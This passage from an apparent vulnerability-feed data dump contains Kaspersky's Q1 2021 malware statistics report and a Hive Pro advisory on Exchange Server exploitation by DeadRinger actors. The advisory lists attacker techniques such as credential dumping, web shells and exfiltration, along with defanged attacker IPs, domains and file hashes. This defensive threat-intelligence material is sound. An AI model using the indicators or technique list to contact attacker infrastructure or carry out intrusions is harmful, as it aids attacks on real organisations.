operation](<https://www.europol.europa.eu/newsroom/news/world's-most-dangerous-malware-emotet-disrupted-through-global-action>) by Europol, the FBI and other law enforcement agencies, and its share predictably collapsed.\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 30.8 \n2 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 15.9 \n3 | Trickster | Trojan.Win32.Trickster | 7.5 \n4 | Emotet | Backdoor.Win32.Emotet | 7.4 \n5 | RTM | Trojan-Banker.Win32.RTM | 6.6 \n6 | Nimnul | Virus.Win32.Nimnul | 5.1 \n7 | Nymaim | Trojan.Win32.Nymaim | 4.7 \n8 | SpyEye | Trojan-Spy.Win32.SpyEye | 3.8 \n9 | Danabot | Trojan-Banker.Win32.Danabot | 2.9 \n10 | Neurevt | Trojan.Win32.Neurevt | 2.2 \n \n_** Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n**New additions to the ransomware arsenal**\n\nLast year, the SunCrypt and RagnarLocker ransomware groups adopted new scare tactics. If the victim organization is slow to pay up, even though its files are encrypted and some of its confidential data has been stolen, the attackers additionally threaten to carry out a DDoS attack. In Q1 2021, these two groups were joined by a third, Avaddon. Besides publishing stolen data, the ransomware operators said on their website that the victim would be subjected to a DDoS attack until it reached out to them.\n\nREvil (aka Sodinokibi) is another group looking to increase its extortion leverage. In addition to DDoS attacks, it has [added](<https://twitter.com/3xp0rtblog/status/1368149692383719426>) spam and calls to clients and partners of the victim company to its toolbox.\n\n**Attacks on vulnerable Exchange servers**\n\n[Serious vulnerabilities were recently discovered](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) in the Microsoft Exchange mail server, allowing [remote code execution](<https://encyclopedia.kaspersky.com/glossary/remote-code-execution-rce/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>). Ransomware distributors wasted no time in exploiting these vulnerabilities; to date, this infection vector was seen being used by the Black Kingdom and DearCry families.\n\n**Publication of keys**\n\nThe developers of the Fonix (aka XINOF) ransomware ceased distributing their Trojan and posted the master key online for decrypting affected files. We took this key and created a [decryptor](<https://www.kaspersky.com/blog/fonix-decryptor/38646/>) that anyone can use. The developers of another strain of ransomware, Ziggy, not only [published](<https://www.bleepingcomputer.com/news/security/ziggy-ransomware-shuts-down-and-releases-victims-decryption-keys/>) the keys for all victims, but also announced their [intention](<https://www.bleepingcomputer.com/news/security/ransomware-admin-is-refunding-victims-their-ransom-payments/>) to return the money to everyone who paid up.\n\n**Law enforcement successes**\n\nLaw enforcement agencies under the US Department of Justice [seized](<https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware>) dark web resources used by NetWalker (aka Mailto) ransomware affiliates, and also brought charges against one of the alleged actors.\n\nFrench and Ukrainian law enforcers worked together to trace payments made through the Bitcoin ecosystem to Egregor ransomware distributors. The joint investigation resulted in the [arrest](<https://www.bleepingcomputer.com/news/security/egregor-ransomware-affiliates-arrested-by-ukrainian-french-police/>) of several alleged members of the Egregor gang.\n\nIn South Korea, a suspect in the GandCrab ransomware operation was [arrested](<https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-affiliate-arrested-for-phishing-attacks/>) (this family ceased active distribution back in 2019).\n\n### Number of new modifications\n\nIn Q1 2021, we detected seven new ransomware families and 4,354 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q1 2020 \u2013 Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110702/03-en-ru-es-malware-report-q1-2021-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q1 2021, Kaspersky products and technologies protected 91,841 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110733/04-en-malware-report-q1-2021-pc.png>))_\n\n### Attack geography\n\n_Geography of attacks by ransomware Trojans, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110802/05-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 2.31% \n2 | Ethiopia | 0.62% \n3 | Greece | 0.49% \n4 | Pakistan | 0.49% \n5 | China | 0.48% \n6 | Tunisia | 0.44% \n7 | Afghanistan | 0.42% \n8 | Indonesia | 0.38% \n9 | Taiwan, Province of China | 0.37% \n10 | Egypt | 0.28% \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 19.37% \n2 | (generic verdict) | Trojan-Ransom.Win32.Gen | 12.01% \n3 | (generic verdict) | Trojan-Ransom.Win32.Phny | 9.31% \n4 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 8.45% \n5 | (generic verdict) | Trojan-Ransom.Win32.Agent | 7.36% \n6 | PolyRansom/VirLock | Trojan-Ransom.Win32.PolyRansom\n\nVirus.Win32.PolyRansom | 3.78% \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 2.93% \n8 | Stop | Trojan-Ransom.Win32.Stop | 2.79% \n9 | (generic verdict) | Trojan-Ransom.Win32.Cryptor | 2.17% \n10 | REvil/Sodinokibi | Trojan-Ransom.Win32.Sodin | 1.85% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new modifications\n\nIn Q1 2021, Kaspersky solutions detected 23,894 new modifications of miners. And though January and February passed off relatively calmly, March saw a sharp rise in the number of new modifications \u2014 more than fourfold compared to February.\n\n_Number of new miner modifications, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24110831/06-en-malware-report-q1-2021-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 432,171 unique users of Kaspersky products worldwide. Although this figure has been rising for three months, it is premature to talk about a reversal of last year's trend, whereby the number of users attacked by miners actually fell. For now, we can tentatively assume that the growth in cryptocurrency prices, in particular bitcoin, has attracted the attention of cybercriminals and returned miners to their toolkit.\n\n_Number of unique users attacked by miners, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111053/07-en-malware-report-q1-2021-pc.png>))_\n\n### Attack geography\n\n_Geography of miner attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111128/08-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 4.65 \n2 | Ethiopia | 3.00 \n3 | Rwanda | 2.37 \n4 | Uzbekistan | 2.23 \n5 | Kazakhstan | 1.81 \n6 | Sri Lanka | 1.78 \n7 | Ukraine | 1.59 \n8 | Vietnam | 1.48 \n9 | Mozambique | 1.46 \n10 | Tanzania | 1.45 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyber attacks\n\nIn Q1 2021, we noted a drop in the share of exploits for vulnerabilities in the Microsoft Office suite, but they still lead the pack with 59%. The most common vulnerability in the suite remains [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), a stack buffer overflow that occurs when processing objects in the Equation Editor component. Exploits for [CVE-2015-2523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2523>) \u2014 use-after-free vulnerabilities in Microsoft Excel \u2014 and [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>), which we've often written about, were also in demand. Note the age of these vulnerabilities \u2014 even the latest of them was discovered almost three years ago. So, once again, we remind you of the importance of regular updates.\n\nThe first quarter was rich not only in known exploits, but also new zero-day vulnerabilities. In particular, the interest of both [infosec experts](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) and cybercriminals was piqued by vulnerabilities in the popular Microsoft Exchange Server:\n\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26855>)\u2014 a service-side request forgery vulnerability that allows remote code execution (RCE)\n * [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26857>)\u2014 an insecure deserialization vulnerability in the Unified Messaging service that can lead to code execution on the server\n * [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>)\u2014 a post-authorization arbitrary file write vulnerability in Microsoft Exchange, which could also lead to remote code execution\n * [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-27065>)\u2014 as in the case of [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26858>), allows an authorized Microsoft Exchange user to write data to an arbitrary file in the system\n\nFound [in the wild](<https://encyclopedia.kaspersky.com/glossary/exploitation-in-the-wild-itw/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), these vulnerabilities were used by APT groups, including as a springboard for ransomware distribution.\n\nDuring the quarter, vulnerabilities were also identified in Windows itself. In particular, the [CVE-2021-1732](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-1732>) vulnerability allowing privilege escalation was discovered in the Win32k subsystem. Two other vulnerabilities, [CVE-2021-1647](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-1647>) and [CVE-2021-24092](<https://nvd.nist.gov/vuln/detail/CVE-2021-24092>), were found in the Microsoft Defender antivirus engine, allowing elevation of user privileges in the system and execution of potentially dangerous code.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111159/09-en-malware-report-q1-2021-pc.png>))_\n\nThe second most popular were exploits for browser vulnerabilities (26.12%); their share in Q1 grew by more than 12 p.p. Here, too, there was no doing without newcomers: for example, the Internet Explorer script engine was found to contain the [CVE-2021-26411](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-26411>) vulnerability, which can lead to remote code execution on behalf of the current user through manipulations that corrupt the heap memory. This vulnerability was exploited by the [Lazarus](<https://securelist.ru/tag/lazarus/>) group to download malicious code and infect the system. Several vulnerabilities were discovered in Google Chrome:\n\n * [CVE-2021-21148](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21148>)\u2014 heap buffer overflow in the V8 script engine, leading to remote code execution\n * [CVE-2021-21166](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21166>)\u2014 overflow and unsafe reuse of an object in memory when processing audio data, also enabling remote code execution\n * [CVE-2021-21139](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21139>)\u2014 bypassing security restrictions when using an iframe.\n\nOther interesting findings include a critical vulnerability in VMware vCenter Server, [CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>), which allows remote code execution without any rights. Critical vulnerabilities in the popular SolarWinds Orion Platform \u2014 [CVE-2021-25274](<https://nvd.nist.gov/vuln/detail/CVE-2021-25274>), [CVE-2021-25275](<https://nvd.nist.gov/vuln/detail/CVE-2021-25275>) and [CVE-2021-25276](<https://nvd.nist.gov/vuln/detail/CVE-2021-25276>) \u2014 caused a major splash in the infosec environment. They gave attackers the ability to infect computers running this software, usually machines inside corporate networks and government institutions. Lastly, the [CVE-2021-21017](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21017>) vulnerability, discovered in Adobe Reader, caused a heap buffer overflow by means of a specially crafted document, giving an attacker the ability to execute code.\n\nAnalysis of network threats in Q1 2021 continued to show ongoing attempts to attack servers with a view to brute-force passwords for network services such as Microsoft SQL Server, RDP and SMB. Attacks using the popular EternalBlue, EternalRomance and other similar exploits were widespread. Among the most notable new vulnerabilities in this period were bugs in the Windows networking stack code related to handling the IPv4/IPv6 protocols: [CVE-2021-24074](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2021-24074>), [CVE-2021-24086](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24086>) and [CVE-2021-24094](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-24094>).\n\n## Attacks on macOS\n\nQ1 2021 was also rich in macOS-related news. Center-stage were cybercriminals who took pains to modify their [malware for the newly released MacBooks with M1 processors](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>). Updated adware for the new Macs also immediately appeared, in particular the [Pirrit family](<https://objective-see.com/blog/blog_0x62.html>) (whose members placed high in our Top 20 threats for macOS). In addition, we detected an interesting adware program written in the Rust language, and assigned it the verdict [AdWare.OSX.Convuster.a](<https://securelist.ru/convuster-macos-adware-in-rust/100859/>).\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.ac | 18.01 \n2 | AdWare.OSX.Pirrit.j | 12.69 \n3 | AdWare.OSX.Pirrit.o | 8.42 \n4 | AdWare.OSX.Bnodlero.at | 8.36 \n5 | Monitor.OSX.HistGrabber.b | 8.06 \n6 | AdWare.OSX.Pirrit.gen | 7.95 \n7 | Trojan-Downloader.OSX.Shlayer.a | 7.90 \n8 | AdWare.OSX.Cimpli.m | 6.17 \n9 | AdWare.OSX.Pirrit.aa | 6.05 \n10 | Backdoor.OSX.Agent.z | 5.27 \n11 | Trojan-Downloader.OSX.Agent.h | 5.09 \n12 | AdWare.OSX.Bnodlero.bg | 4.60 \n13 | AdWare.OSX.Ketin.h | 4.02 \n14 | AdWare.OSX.Bnodlero.bc | 3.87 \n15 | AdWare.OSX.Bnodlero.t | 3.84 \n16 | AdWare.OSX.Cimpli.l | 3.75 \n17 | Trojan-Downloader.OSX.Lador.a | 3.61 \n18 | AdWare.OSX.Cimpli.k | 3.48 \n19 | AdWare.OSX.Ketin.m | 2.98 \n20 | AdWare.OSX.Bnodlero.ay | 2.94 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\nTraditionally, most of the Top 20 threats for macOS are adware programs: 15 in Q1. In the list of malicious programs, Trojan-Downloader.OSX.Shlayer.a (7.90%) maintained its popularity. Incidentally, this Trojan's task is to download adware from the Pirrit and Bnodlero families. But we also saw the reverse, when a member of the AdWare.OSX.Pirrit family dropped Backdoor.OSX.Agent.z into the system.\n\n### Threat geography\n\n_Geography of threats for macOS, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111228/10-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 4.62 \n2 | Spain | 4.43 \n3 | Italy | 4.36 \n4 | India | 4.11 \n5 | Canada | 3.59 \n6 | Mexico | 3.55 \n7 | Russia | 3.21 \n8 | Brazil | 3.18 \n9 | Great Britain | 2.96 \n10 | USA | 2.94 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000) \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q1 2021, Europe accounted for the Top 3 countries by share of attacked macOS users: France (4.62%), Spain (4.43%) and Italy (4.36%). The most common threats in all three were adware apps from the Pirrit family.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q1 2021, most of the devices that attacked Kaspersky traps did so using the Telnet protocol. A third of the attacking devices attempted to [brute-force](<https://encyclopedia.kaspersky.com/glossary/brute-force/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) our SSH traps.\n\nTelnet | 69.48% \n---|--- \nSSH | 30.52% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2021_\n\nThe statistics for cybercriminal working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 77.81% \n---|--- \nSSH | 22.19% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2021_\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky Telnet traps, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111259/11-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by location of devices from which attacks were carried out on Kaspersky Telnet traps**\n\n** ** | **Country** | **%*** \n---|---|--- \n1 | China | 33.40 \n2 | India | 13.65 \n3 | USA | 11.56 \n4 | Russia | 4.96 \n5 | Montenegro | 4.20 \n6 | Brazil | 4.19 \n7 | Taiwan, Province of China | 2.32 \n8 | Iran | 1.85 \n9 | Egypt | 1.84 \n10 | Vietnam | 1.73 \n \n_* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country._\n\n### SSH-based attacks\n\n_Geography of IP addresses of devices from which attempts were made to attack Kaspersky SSH traps, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111335/12-en-malware-report-q1-2021-pc.png>))_\n\n**Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps**\n\n** ** | **Country** | **%*** \n---|---|--- \n1 | USA | 24.09 \n2 | China | 19.89 \n3 | Hong Kong | 6.38 \n4 | South Korea | 4.37 \n5 | Germany | 4.06 \n6 | Brazil | 3.74 \n7 | Russia | 3.05 \n8 | Taiwan, Province of China | 2.80 \n9 | France | 2.59 \n10 | India | 2.36 \n \n_* Devices from which attacks were carried out in the given country as a percentage of the total number of devices in that country._\n\n### Threats loaded into traps\n\n| Verdict | %* \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 50.50% \n2 | Trojan-Downloader.Linux.NyaDrop.b | 9.26% \n3 | Backdoor.Linux.Gafgyt.a | 3.01% \n4 | HEUR:Trojan-Downloader.Shell.Agent.bc | 2.72% \n5 | Backdoor.Linux.Mirai.a | 2.72% \n6 | Backdoor.Linux.Mirai.ba | 2.67% \n7 | Backdoor.Linux.Agent.bc | 2.37% \n8 | Trojan-Downloader.Shell.Agent.p | 1.37% \n9 | Backdoor.Linux.Gafgyt.bj | 0.78% \n10 | Trojan-Downloader.Linux.Mirai.d | 0.66% \n \n_* Share of malware type in the total number of malicious programs downloaded to IoT devices following a successful attack._\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established._\n\nIn Q1 2021, Kaspersky solutions blocked 2,023,556,082 attacks launched from online resources located across the globe. 613,968,631 unique URLs were recognized as malicious by Web Anti-Virus.\n\n_Distribution of web attack sources by country, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111405/13-en-malware-report-q1-2021-pc.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious objects that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Belarus | 15.81 \n2 | Ukraine | 13.60 \n3 | Moldova | 13.16 \n4 | Kyrgyzstan | 11.78 \n5 | Latvia | 11.38 \n6 | Algeria | 11.16 \n7 | Russia | 11.11 \n8 | Mauritania | 11.08 \n9 | Kazakhstan | 10.62 \n10 | Tajikistan | 10.60 \n11 | Uzbekistan | 10.39 \n12 | Estonia | 10.20 \n13 | Armenia | 9.44 \n14 | Mongolia | 9.36 \n15 | France | 9.35 \n16 | Greece | 9.04 \n17 | Azerbaijan | 8.57 \n18 | Madagascar | 8.56 \n19 | Morocco | 8.55 \n20 | Lithuania | 8.53 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average, 7.67% of Internet user computers worldwide experienced at least one **Malware-class** attack.\n\n_Geography of web-based malware attacks, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111435/14-en-malware-report-q1-2021-pc.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q1 2021, our File Anti-Virus detected **77,415,192** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Afghanistan | 47.71 \n2 | Turkmenistan | 43.39 \n3 | Ethiopia | 41.03 \n4 | Tajikistan | 38.96 \n5 | Bangladesh | 36.21 \n6 | Algeria | 35.49 \n7 | Myanmar | 35.16 \n8 | Uzbekistan | 34.95 \n9 | South Sudan | 34.17 \n10 | Benin | 34.08 \n11 | China | 33.34 \n12 | Iraq | 33.14 \n13 | Laos | 32.84 \n14 | Burkina Faso | 32.61 \n15 | Mali | 32.42 \n16 | Guinea | 32.40 \n17 | Yemen | 32.32 \n18 | Mauritania | 32.22 \n19 | Burundi | 31.68 \n20 | Sudan | 31.61 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q1 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/05/24111505/15-en-malware-report-q1-2021-pc.png>))_\n\nOverall, 15.05% of user computers globally faced at least one **Malware-class** local threat during Q1.", "cvss3": {}, "published": "2021-05-31T10:00:05", "type": "securelist", "title": "IT threat evolution Q1 2021. Non-mobile statistics", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2015-2523", "CVE-2017-11882", "CVE-2018-0802", "CVE-2021-1647", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21139", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21972", "CVE-2021-24074", "CVE-2021-24086", "CVE-2021-24092", "CVE-2021-24094", "CVE-2021-25274", "CVE-2021-25275", "CVE-2021-25276", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-31T10:00:05", "id": "SECURELIST:20C7BC6E3C43CD3D939A2E3EAE01D4C1", "href": "https://securelist.com/it-threat-evolution-q1-2021-non-mobile-statistics/102425/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "hivepro": [{"lastseen": "2021-08-23T15:19:10", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202130.pdf>)\n\nMicrosoft Exchange Server vulnerabilities have been officially patched for five months now. These vulnerabilities are actively exploited by multiple threat actors named DeadRinger. DeadRinger has been affecting the telecommunication industry all around the world. DeadRinger consists of three clusters. The first one includes threat group Softcell which has been active since 2012. The Naikon group, which has been active since 2020, is the second cluster. We discovered that the signatures match those of TG-3390, making it the third cluster.\n\nAs a response, Hive Pro Threat Researchers advises that you address these vulnerabilities.\n\nThe Techniques used by the DeadRinger includes: \nT1592: Gather Victim Host Information \nT1595: Active Scanning \nT1590: Gather Victim Network Information \nT1190: Exploit Public-Facing Application \nT1059: Command and Scripting Interpreter \nT1047: Windows Management Instrumentation \nT1059.001: Command and Scripting Interpreter: PowerShell \nT1505.003: Server Software Component: Web Shell \nT1136: Create Account \nT1053: Scheduled Task/Job \nT1078: Valid Accounts \nT1574: Hijack Execution Flow \nT1027.005: Obfuscated Files or Information: Indicator Removal from Tools \nT1027: Obfuscated Files or Information \nT1036: Masquerading \nT1070.006: Indicator Removal on Host: Timestomp \nT1140: Deobfuscate/Decode Files or Information \nT1040: Network Sniffing \nT1087: Account Discovery \nT1018: Remote System Discovery \nT1071.001: Application Layer Protocol: Web Protocols \nT1041: Exfiltration Over C2 Channel \nT1021.002: Remote Services: SMB/Windows Admin Shares \nT1550.002: Use Alternate Authentication Material: Pass the Hash \nT1105: Ingress Tool Transfer \nT1555: Credentials from Password Stores \nT1003: OS Credential Dumping \nT1016: System Network Configuration Discovery \nT1069: Permission Groups Discovery \nT1560: Archive Collected Data \nT1569: System Services \nT1543.003: Create or Modify System Process: Windows Service \nT1574.002: Hijack Execution Flow: DLL Side-Loading \nT1570: Lateral Tool Transfer \nT1056.001: Input Capture: Keylogging \nT1573: Encrypted Channel\n\n#### Vulnerability Details\n\n\n\n#### Actor Details\n\n\n\n#### Indicators of Compromise (IoCs)\n\n**Type** | **Value** \n---|--- \nIP Address | 47.56.86[.]44 \n45.76.213[.]2 \n45.123.118[.]232 \n101.132.251[.]212 \nSHA-1 Hash | 19e961e2642e87deb2db6ca8fc2342f4b688a45c \nba8f2843e2fb5274394b3c81abc3c2202d9ba592 \n243cd77cfa03f58f6e6568e011e1d6d85969a3a2 \nc549a16aaa9901c652b7bc576e980ec2a008a2e0 \nc2850993bffc8330cff3cb89e9c7652b8819f57f \n440e04d0cc5e842c94793baf31e0d188511f0ace \ne2340b27a4b759e0e2842bfe5aa48dda7450af4c \n15336340db8b73bf73a17c227eb0c59b5a4dece2 \n5bc5dbe3a2ffd5ed1cd9f0c562564c8b72ae2055 \n0dc49c5438a5d80ef31df4a4ccaab92685da3fc6 \n81cfcf3f8213bce4ca6a460e1db9e7dd1474ba52 \ne93ceb7938120a87c6c69434a6815f0da42ab7f2 \n207b7cf5db59d70d4789cb91194c732bcd1cfb4b \n71999e468252b7458e06f76b5c746a4f4b3aaa58 \n39c5c45dbec92fa99ad37c4bab09164325dbeea0 \nefc6c117ecc6253ed7400c53b2e148d5e4068636 \na3c5c0e93f6925846fab5f3c69094d8a465828e9 \na4232973418ee44713e59e0eae2381a42db5f54c \n5602bf8710b1521f6284685d835d5d1df0679b0f \ne3fcda85f5f42a2bffb65f3b8deeb523f8db2302 \n720556854fb4bcf83b9ceb9515fbe3f5cb182dd5 \nb699861850e4e6fde73dfbdb761645e2270f9c9a \n6516d73f8d4dba83ca8c0330d3f180c0830af6a0 \n99f8263808c7e737667a73a606cbb8bf0d6f0980 \na5b193118960184fe3aa3b1ea7d8fd1c00423ed6 \n92ce6af826d2fb8a03d6de7d8aa930b4f94bc2db \nd9e828fb891f033656a0797f5fc6d276fbc9748f \n87c3dc2ae65dcd818c12c1a4e4368f05719dc036 \nDomain | Cymkpuadkduz[.]xyz \nnw.eiyfmrn[.]com \njdk.gsvvfsso[.]com \nttareyice.jkub[.]com \nmy.eiyfmrn[.]com \nA.jrmfeeder[.]org \nafhkl.dseqoorg[.]com \n \n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>\n\n#### References\n\n<https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos>\n\n<https://www.zdnet.com/article/deadringer-chinese-apts-strike-major-telecommunications-companies/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-18T11:01:05", "type": "hivepro", "title": "Have you patched the vulnerabilities in Microsoft Exchange Server?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-08-18T11:01:05", "id": "HIVEPRO:0E3B824DCD3B82D06D8078A118E98B54", "href": 